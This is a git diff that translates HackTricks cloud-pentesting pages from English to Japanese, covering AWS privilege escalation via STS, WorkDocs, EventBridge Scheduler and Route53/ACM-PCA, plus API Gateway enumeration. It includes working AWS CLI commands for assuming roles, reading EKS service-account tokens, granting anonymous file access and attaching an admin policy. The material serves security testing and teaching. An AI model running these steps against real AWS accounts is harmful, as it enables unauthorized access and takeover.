PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} } ``` - {{#endtab }} {{#endtabs }} -- **Command** executed to **update** **the legit state machine**: - +- **コマンド** 実行して **正当なステートマシン** を **更新**: ```bash aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json { - "updateDate": "2024-07-10T20:07:10.294000+02:00", - "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +"updateDate": "2024-07-10T20:07:10.294000+02:00", +"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` - -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**潜在的な影響**: ワークフローの不正実行と操作、および機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 782bcc237..d79d1f0e6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -6,121 +6,101 @@ ### `sts:AssumeRole` -Every role is created with a **role trust policy**, this policy indicates **who can assume the created role**. If a role from the **same account** says that an account can assume it, it means that the account will be able to access the role (and potentially **privesc**). - -For example, the following role trust policy indicates that anyone can assume it, therefore **any user will be able to privesc** to the permissions associated with that role. +すべてのロールは**ロール信頼ポリシー**で作成され、このポリシーは**誰が作成されたロールを引き受けることができるか**を示します。同じアカウントのロールが別のアカウントがそれを引き受けることができると言っている場合、そのアカウントはロールにアクセスできることを意味します（そして潜在的に**privesc**）。 +例えば、以下のロール信頼ポリシーは誰でもそれを引き受けることができることを示しているため、**任意のユーザーがそのロールに関連付けられた権限にprivescできる**ことになります。 ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] } ``` - -You can impersonate a role running: - +あなたは次のコマンドを実行することで、ロールをなりすますことができます： ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` - -**Potential Impact:** Privesc to the role. +**潜在的な影響:** 役割への権限昇格。 > [!CAUTION] -> Note that in this case the permission `sts:AssumeRole` needs to be **indicated in the role to abuse** and not in a policy belonging to the attacker.\ -> With one exception, in order to **assume a role from a different account** the attacker account **also needs** to have the **`sts:AssumeRole`** over the role. +> この場合、権限 `sts:AssumeRole` は **悪用する役割に明示されている必要があり**、攻撃者に属するポリシーには含まれていない必要があります。\ +> 一つの例外を除き、**異なるアカウントから役割を引き受けるためには**、攻撃者アカウントもその役割に対して **`sts:AssumeRole`** を持っている必要があります。 ### **`sts:GetFederationToken`** -With this permission it's possible to generate credentials to impersonate any user: - +この権限を持つことで、任意のユーザーを偽装するための資格情報を生成することが可能です： ```bash aws sts get-federation-token --name ``` - -This is how this permission can be given securely without giving access to impersonate other users: - +これは、他のユーザーを偽装するアクセスを与えずに、この権限を安全に付与する方法です： ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "VisualEditor0", - "Effect": "Allow", - "Action": "sts:GetFederationToken", - "Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "VisualEditor0", +"Effect": "Allow", +"Action": "sts:GetFederationToken", +"Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" +} +] } ``` - ### `sts:AssumeRoleWithSAML` -A trust policy with this role grants **users authenticated via SAML access to impersonate the role.** - -An example of a trust policy with this permission is: +このロールの信頼ポリシーは、**SAMLを介して認証されたユーザーにロールを偽装するアクセスを許可します。** +この権限を持つ信頼ポリシーの例は次のとおりです: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "OneLogin", - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" - }, - "Action": "sts:AssumeRoleWithSAML", - "Condition": { - "StringEquals": { - "SAML:aud": "https://signin.aws.amazon.com/saml" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OneLogin", +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" +}, +"Action": "sts:AssumeRoleWithSAML", +"Condition": { +"StringEquals": { +"SAML:aud": "https://signin.aws.amazon.com/saml" +} +} +} +] } ``` - -To generate credentials to impersonate the role in general you could use something like: - +一般的に、ロールを偽装するための資格情報を生成するには、次のようなものを使用できます： ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` - -But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): - +しかし、**プロバイダー**は、これを簡単にするための**独自のツール**を持っているかもしれません。例えば、[onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): ```bash onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 ``` - -**Potential Impact:** Privesc to the role. +**潜在的な影響:** 役割への権限昇格。 ### `sts:AssumeRoleWithWebIdentity` -This permission grants permission to obtain a set of temporary security credentials for **users who have been authenticated in a mobile, web application, EKS...** with a web identity provider. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) - -For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like: +この権限は、**モバイル、ウェブアプリケーション、EKS...** でウェブアイデンティティプロバイダーを使用して認証されたユーザーのために、一連の一時的なセキュリティ資格情報を取得する権限を付与します。[詳細はこちら。](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) +例えば、**EKSサービスアカウント**が**IAMロールを偽装**できる必要がある場合、**`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** にトークンがあり、次のようにして**ロールを引き受けて資格情報を取得**できます: ```bash aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token # The role name can be found in the metadata of the configuration of the pod ``` - -### Federation Abuse +### フェデレーションの悪用 {{#ref}} ../aws-basic-information/aws-federation-abuse.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 4b1e5e7e9..595985d00 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -2,7 +2,7 @@ ## WorkDocs -For more info about WorkDocs check: +WorkDocsに関する詳細情報は以下を確認してください： {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -10,17 +10,14 @@ For more info about WorkDocs check: ### `workdocs:CreateUser` -Create a user inside the Directory indicated, then you will have access to both WorkDocs and AD: - +指定されたディレクトリ内にユーザーを作成すると、WorkDocsとADの両方にアクセスできるようになります： ```bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` - ### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` -The files might contain sensitive information, read them: - +ファイルには機密情報が含まれている可能性があるため、読み取ってください： ```bash # Get what was created in the directory aws workdocs describe-activities --organization-id @@ -31,26 +28,19 @@ aws workdocs describe-activities --user-id "S-1-5-21-377..." # Get file (a url to access with the content will be retreived) aws workdocs get-document --document-id ``` - ### `workdocs:AddResourcePermissions` -If you don't have access to read something, you can just grant it - +何かを読むアクセス権がない場合は、それを付与することができます。 ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` - ### `workdocs:AddUserToGroup` -You can make a user admin by setting it in the group ZOCALO_ADMIN.\ -For that follow the instructions from [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) - -Login with that user in workdoc and access the admin panel in `/workdocs/index.html#/admin` - -I didn't find any way to do this from the cli. - - +ユーザーを管理者にするには、グループ ZOCALO_ADMIN に設定します。\ +そのためには、[https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) の指示に従ってください。 +そのユーザーで workdoc にログインし、`/workdocs/index.html#/admin` で管理パネルにアクセスします。 +cli からこれを行う方法は見つかりませんでした。 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index 1519df70f..8b15880fb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -4,7 +4,7 @@ ## EventBridge Scheduler -More info EventBridge Scheduler in: +EventBridge Schedulerに関する詳細情報は以下を参照してください： {{#ref}} ../aws-services/eventbridgescheduler-enum.md @@ -12,42 +12,34 @@ More info EventBridge Scheduler in: ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -An attacker with those permissions will be able to **`create`|`update` an scheduler and abuse the permissions of the scheduler role** attached to it to perform any action - -For example, they could configure the schedule to **invoke a Lambda function** which is a templated action: +これらの権限を持つ攻撃者は、**スケジューラーを`create`|`update`し、それに付随するスケジューラー役割の権限を悪用して任意のアクションを実行することができます。** +例えば、彼らはスケジュールを設定して**Lambda関数を呼び出す**ことができ、これはテンプレート化されたアクションです： ```bash aws scheduler create-schedule \ - --name MyLambdaSchedule \ - --schedule-expression "rate(5 minutes)" \ - --flexible-time-window "Mode=OFF" \ - --target '{ - "Arn": "arn:aws:lambda:::function:", - "RoleArn": "arn:aws:iam:::role/" - }' +--name MyLambdaSchedule \ +--schedule-expression "rate(5 minutes)" \ +--flexible-time-window "Mode=OFF" \ +--target '{ +"Arn": "arn:aws:lambda:::function:", +"RoleArn": "arn:aws:iam:::role/" +}' ``` - -In addition to templated service actions, you can use **universal targets** in EventBridge Scheduler to invoke a wide range of API operations for many AWS services. Universal targets offer flexibility to invoke almost any API. One example can be using universal targets adding "**AdminAccessPolicy**", using a role that has "**putRolePolicy**" policy: - +テンプレート化されたサービスアクションに加えて、EventBridge Schedulerでは**ユニバーサルターゲット**を使用して、多くのAWSサービスの幅広いAPI操作を呼び出すことができます。ユニバーサルターゲットは、ほぼすべてのAPIを呼び出す柔軟性を提供します。1つの例は、**putRolePolicy**ポリシーを持つロールを使用して、ユニバーサルターゲットを追加することで「**AdminAccessPolicy**」を使用することです： ```bash aws scheduler create-schedule \ - --name GrantAdminToTargetRoleSchedule \ - --schedule-expression "rate(5 minutes)" \ - --flexible-time-window "Mode=OFF" \ - --target '{ - "Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy", - "RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy", - "Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" - }' +--name GrantAdminToTargetRoleSchedule \ +--schedule-expression "rate(5 minutes)" \ +--flexible-time-window "Mode=OFF" \ +--target '{ +"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy", +"RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy", +"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" +}' ``` - -## References +## 参考文献 - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index fc3563ce7..805d1a212 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -For more information about Route53 check: +Route53に関する詳細情報は次を確認してください： {{#ref}} ../aws-services/aws-route53-enum.md @@ -11,26 +11,22 @@ For more information about Route53 check: ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` > [!NOTE] -> To perform this attack the target account must already have an [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic. +> この攻撃を実行するには、ターゲットアカウントにすでに[**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)**が設定されている必要があり、VPC内のEC2インスタンスはすでにその証明書をインポートして信頼する必要があります。このインフラストラクチャが整った状態で、AWS APIトラフィックを傍受するための次の攻撃を実行できます。 -Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` +列挙部分に**推奨されるが必須ではない**他の権限：`route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. **If ACM-PCA is used** for that and the adversary manages to get **access to control both route53 and acm-pca private CA** with the minimum set of permissions described above, it can **hijack the application calls to AWS API** taking over their IAM permissions. +AWS VPCがあり、複数のクラウドネイティブアプリケーションが互いにおよびAWS APIと通信していると仮定します。マイクロサービス間の通信はしばしばTLSで暗号化されているため、これらのサービスに対して有効な証明書を発行するためのプライベートCAが必要です。**ACM-PCAが使用されている場合**、敵対者が**route53とacm-pcaプライベートCAの両方を制御するアクセスを取得**し、上記の最小限の権限セットを持っていると、**AWS APIへのアプリケーション呼び出しをハイジャック**し、IAM権限を乗っ取ることができます。 -This is possible because: +これは次の理由から可能です： -- AWS SDKs do not have [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) -- Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names -- Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names +- AWS SDKは[証明書ピンニング](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)を持っていません +- Route53はAWS APIのドメイン名に対してプライベートホステッドゾーンとDNSレコードを作成することを許可します +- ACM-PCAのプライベートCAは特定のコモンネームのための証明書のみを署名するように制限できません -**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. +**潜在的な影響：** トラフィック内の機密情報を傍受することによる間接的な権限昇格。 #### Exploitation -Find the exploitation steps in the original research: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) +元の研究でのエクスプロイト手順を見つけてください：[**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index dddd8ac04..d7dd4b075 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -1,35 +1,31 @@ -# AWS - Services +# AWS - サービス {{#include ../../../banners/hacktricks-training.md}} -## Types of services +## サービスの種類 -### Container services +### コンテナサービス -Services that fall under container services have the following characteristics: +コンテナサービスに該当するサービスは、以下の特徴を持っています： -- The service itself runs on **separate infrastructure instances**, such as EC2. -- **AWS** is responsible for **managing the operating system and the platform**. -- A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**. -- As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**. -- Also, platform-level identity and access management where it exists. -- **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. +- サービス自体は **別のインフラストラクチャインスタンス**、例えば EC2 上で実行されます。 +- **AWS** は **オペレーティングシステムとプラットフォームの管理**を担当します。 +- AWS によって提供される管理サービスは、通常、**コンテナとして見なされる実際のアプリケーションのサービス自体**です。 +- これらのコンテナサービスのユーザーとして、**ネットワークアクセスセキュリティの管理、例えばネットワークアクセス制御リストルールやファイアウォールの管理**など、いくつかの管理およびセキュリティ責任があります。 +- また、存在する場合はプラットフォームレベルのアイデンティティおよびアクセス管理も含まれます。 +- **AWS** のコンテナサービスの **例** には、リレーショナルデータベースサービス、エラスティックマップリデュース、エラスティックビーンストークがあります。 -### Abstract Services +### 抽象サービス -- These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**. -- The services are accessed via endpoints using AWS application programming interfaces, APIs. -- The **underlying infrastructure, operating system, and platform is managed by AWS**. -- The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared. -- **Data is isolated via security mechanisms**. -- Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS. +- これらのサービスは、**クラウドアプリケーションが構築されるプラットフォームまたは管理層から削除され、抽象化されています**。 +- サービスは、AWS アプリケーションプログラミングインターフェース（API）を使用してエンドポイント経由でアクセスされます。 +- **基盤となるインフラストラクチャ、オペレーティングシステム、およびプラットフォームは AWS によって管理されます**。 +- 抽象化されたサービスは、基盤となるインフラストラクチャが共有されるマルチテナンシープラットフォームを提供します。 +- **データはセキュリティメカニズムによって隔離されています**。 +- 抽象サービスは IAM との強力な統合を持ち、**抽象サービスの例**には S3、DynamoDB、Amazon Glacier、SQS が含まれます。 -## Services Enumeration +## サービスの列挙 -**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.** +**このセクションのページは AWS サービスによって順序付けられています。そこでは、サービスに関する情報（動作と機能）を見つけることができ、特権を昇格させることができます。** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index 09aa42d7c..ed00950d8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -4,40 +4,39 @@ ## API Gateway -### Basic Information +### 基本情報 -AWS API Gateway is a comprehensive service offered by Amazon Web Services (AWS) designed for developers to **create, publish, and oversee APIs on a large scale**. It functions as an entry point to an application, permitting developers to establish a framework of rules and procedures. This framework governs the access external users have to certain data or functionalities within the application. +AWS API Gatewayは、開発者が**大規模にAPIを作成、公開、管理する**ために設計された、Amazon Web Services（AWS）が提供する包括的なサービスです。これはアプリケーションへの入り口として機能し、開発者がルールと手順のフレームワークを確立することを許可します。このフレームワークは、外部ユーザーがアプリケーション内の特定のデータや機能にアクセスする方法を管理します。 -API Gateway enables you to define **how requests to your APIs should be handled**, and it can create custom API endpoints with specific methods (e.g., GET, POST, PUT, DELETE) and resources. It can also generate client SDKs (Software Development Kits) to make it easier for developers to call your APIs from their applications. +API Gatewayは、**APIへのリクエストがどのように処理されるべきかを定義**することを可能にし、特定のメソッド（例：GET、POST、PUT、DELETE）とリソースを持つカスタムAPIエンドポイントを作成できます。また、開発者がアプリケーションからAPIを呼び出しやすくするためのクライアントSDK（ソフトウェア開発キット）を生成することもできます。 -### API Gateways Types +### API Gatewayの種類 -- **HTTP API**: Build low-latency and cost-effective REST APIs with built-in features such as OIDC and OAuth2, and native CORS support. Works with the following: Lambda, HTTP backends. -- **WebSocket API**: Build a WebSocket API using persistent connections for real-time use cases such as chat applications or dashboards. Works with the following: Lambda, HTTP, AWS Services. -- **REST API**: Develop a REST API where you gain complete control over the request and response along with API management capabilities. Works with the following: Lambda, HTTP, AWS Services. -- **REST API Private**: Create a REST API that is only accessible from within a VPC. +- **HTTP API**: OIDCやOAuth2などの組み込み機能とネイティブCORSサポートを備えた、低遅延でコスト効果の高いREST APIを構築します。以下と連携します：Lambda、HTTPバックエンド。 +- **WebSocket API**: チャットアプリケーションやダッシュボードなどのリアルタイムユースケースのために、持続的な接続を使用してWebSocket APIを構築します。以下と連携します：Lambda、HTTP、AWSサービス。 +- **REST API**: リクエストとレスポンスを完全に制御できるREST APIを開発し、API管理機能を提供します。以下と連携します：Lambda、HTTP、AWSサービス。 +- **REST API Private**: VPC内からのみアクセス可能なREST APIを作成します。 -### API Gateway Main Components +### API Gatewayの主なコンポーネント -1. **Resources**: In API Gateway, resources are the components that **make up the structure of your API**. They represent **the different paths or endpoints** of your API and correspond to the various actions that your API supports. A resource is each method (e.g., GET, POST, PUT, DELETE) **inside each path** (/, or /users, or /user/{id}. -2. **Stages**: Stages in API Gateway represent **different versions or environments** of your API, such as development, staging, or production. You can use stages to manage and deploy **multiple versions of your API simultaneousl**y, allowing you to test new features or bug fixes without affecting the production environment. Stages also **support stage variables**, which are key-value pairs that can be used to configure the behavior of your API based on the current stage. For example, you could use stage variables to direct API requests to different Lambda functions or other backend services depending on the stage. - - The stage is indicated at the beggining of the URL of the API Gateway endpoint. -3. **Authorizers**: Authorizers in API Gateway are responsible for **controlling access to your API** by verifying the identity of the caller before allowing the request to proceed. You can use **AWS Lambda functions** as custom authorizers, which allows you to implement your own authentication and authorization logic. When a request comes in, API Gateway passes the request's authorization token to the Lambda authorizer, which processes the token and returns an IAM policy that determines what actions the caller is allowed to perform. API Gateway also supports **built-in authorizers**, such as **AWS Identity and Access Management (IAM)** and **Amazon Cognito**. -4. **Resource Policy**: A resource policy in API Gateway is a JSON document that **defines the permissions for accessing your API**. It is similar to an IAM policy but specifically tailored for API Gateway. You can use a resource policy to control who can access your API, which methods they can call, and from which IP addresses or VPCs they can connect. **Resource policies can be used in combination with authorizers** to provide fine-grained access control for your API. - - In order to make effect the API needs to be **deployed again after** the resource policy is modified. +1. **リソース**: API Gatewayにおけるリソースは、**APIの構造を構成する要素**です。これらは**APIの異なるパスやエンドポイント**を表し、APIがサポートするさまざまなアクションに対応します。リソースは各メソッド（例：GET、POST、PUT、DELETE）**の各パス内**（/、または/users、または/user/{id}）です。 +2. **ステージ**: API Gatewayのステージは、開発、ステージング、または本番など、APIの**異なるバージョンや環境**を表します。ステージを使用して、**APIの複数のバージョンを同時に管理および展開**でき、新機能やバグ修正を本番環境に影響を与えずにテストできます。ステージはまた、**ステージ変数**をサポートしており、現在のステージに基づいてAPIの動作を構成するために使用できるキーと値のペアです。たとえば、ステージ変数を使用して、ステージに応じてAPIリクエストを異なるLambda関数や他のバックエンドサービスに向けることができます。 +- ステージはAPI GatewayエンドポイントのURLの最初に示されます。 +3. **オーソライザー**: API Gatewayのオーソライザーは、リクエストが進行する前に呼び出し元のアイデンティティを確認することによって、**APIへのアクセスを制御する**役割を担います。**AWS Lambda関数**をカスタムオーソライザーとして使用でき、独自の認証および認可ロジックを実装できます。リクエストが来ると、API Gatewayはリクエストの認証トークンをLambdaオーソライザーに渡し、トークンを処理して呼び出し元が実行できるアクションを決定するIAMポリシーを返します。API Gatewayは、**AWS Identity and Access Management (IAM)**や**Amazon Cognito**などの**組み込みオーソライザー**もサポートしています。 +4. **リソースポリシー**: API Gatewayのリソースポリシーは、**APIへのアクセス権限を定義する**JSONドキュメントです。これはIAMポリシーに似ていますが、API Gateway専用に調整されています。リソースポリシーを使用して、誰がAPIにアクセスできるか、どのメソッドを呼び出せるか、どのIPアドレスやVPCから接続できるかを制御できます。**リソースポリシーはオーソライザーと組み合わせて使用することができ、APIに対する細かいアクセス制御を提供します。** +- リソースポリシーが変更された後、APIは**再展開する必要があります**。 -### Logging +### ロギング -By default, **CloudWatch Logs** are **off**, **Access Logging** is **off**, and **X-Ray tracing** is also **off**. +デフォルトでは、**CloudWatch Logs**は**オフ**、**アクセスロギング**は**オフ**、**X-Rayトレース**も**オフ**です。 -### Enumeration +### 列挙 > [!TIP] -> Note that in both AWS apis to enumerate resources (**`apigateway`** and **`apigatewayv2`**) the only permission you need and the only read permission grantable is **`apigateway:GET`**, with that you can **enumerate everything.** +> リソースを列挙するための両方のAWS API（**`apigateway`**および**`apigatewayv2`**）では、必要な唯一の権限であり、付与可能な唯一の読み取り権限は**`apigateway:GET`**です。これにより、**すべてを列挙できます。** {{#tabs }} {{#tab name="apigateway" }} - ```bash # Generic info aws apigateway get-account @@ -78,11 +77,9 @@ aws apigateway get-usage-plan-key --usage-plan-id --key-id ###Already consumed aws apigateway get-usage --usage-plan-id --start-date 2023-07-01 --end-date 2023-07-12 ``` - {{#endtab }} {{#tab name="apigatewayv2" }} - ```bash # Generic info aws apigatewayv2 get-domain-names @@ -124,49 +121,43 @@ aws apigatewayv2 get-models --api-id ## Call API https://.execute-api..amazonaws.com// ``` - {{#endtab }} {{#endtabs }} -## Different Authorizations to access API Gateway endpoints +## API Gateway エンドポイントにアクセスするための異なる認証 -### Resource Policy +### リソースポリシー -It's possible to use resource policies to define who could call the API endpoints.\ -In the following example you can see that the **indicated IP cannot call** the endpoint `/resource_policy` via GET. +リソースポリシーを使用して、誰が API エンドポイントを呼び出すことができるかを定義することが可能です。\ +以下の例では、**指定された IP は** GET を介してエンドポイント `/resource_policy` を呼び出すことができません。
-### IAM Authorizer +### IAM 認証 -It's possible to set that a methods inside a path (a resource) requires IAM authentication to call it. +パス内のメソッド（リソース）が呼び出すために IAM 認証を必要とするように設定することが可能です。
-When this is set you will receive the error `{"message":"Missing Authentication Token"}` when you try to reach the endpoint without any authorization. - -One easy way to generate the expected token by the application is to use **curl**. +これが設定されると、認証なしでエンドポイントにアクセスしようとすると、エラー `{"message":"Missing Authentication Token"}` が返されます。 +アプリケーションが期待するトークンを生成する簡単な方法は、**curl** を使用することです。 ```bash $ curl -X https://.execute-api..amazonaws.com// --user : --aws-sigv4 "aws:amz::execute-api" ``` - -Another way is to use the **`Authorization`** type **`AWS Signature`** inside **Postman**. +別の方法は、**Postman**内で**`Authorization`**タイプ**`AWS Signature`**を使用することです。
-Set the accessKey and the SecretKey of the account you want to use and you can know authenticate against the API endpoint. - -Both methods will generate an **Authorization** **header** such as: +使用したいアカウントのaccessKeyとSecretKeyを設定すると、APIエンドポイントに対して認証できます。 +どちらの方法も、次のような**Authorization** **header**を生成します: ``` AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2 ``` +他の場合では、**Authorizer**が**不適切にコーディング**されている可能性があり、**Authorizationヘッダー**内に**何でも**送信することで**隠されたコンテンツを見ることができる**かもしれません。 -Note that in other cases the **Authorizer** might have been **bad coded** and just sending **anything** inside the **Authorization header** will **allow to see the hidden content**. - -### Request Signing Using Python - +### Pythonを使用したリクエスト署名 ```python pip install requests @@ -193,111 +184,104 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` +### カスタム Lambda 認証者 -### Custom Lambda Authorizer - -It's possible to use a lambda that based in a given token will **return an IAM policy** indicating if the user is **authorized to call the API endpoint**.\ -You can set each resource method that will be using the authoriser. +与えられたトークンに基づいて、**IAM ポリシーを返す** Lambda を使用することが可能であり、ユーザーが **API エンドポイントを呼び出す権限があるかどうかを示します**。\ +認証者を使用する各リソースメソッドを設定できます。
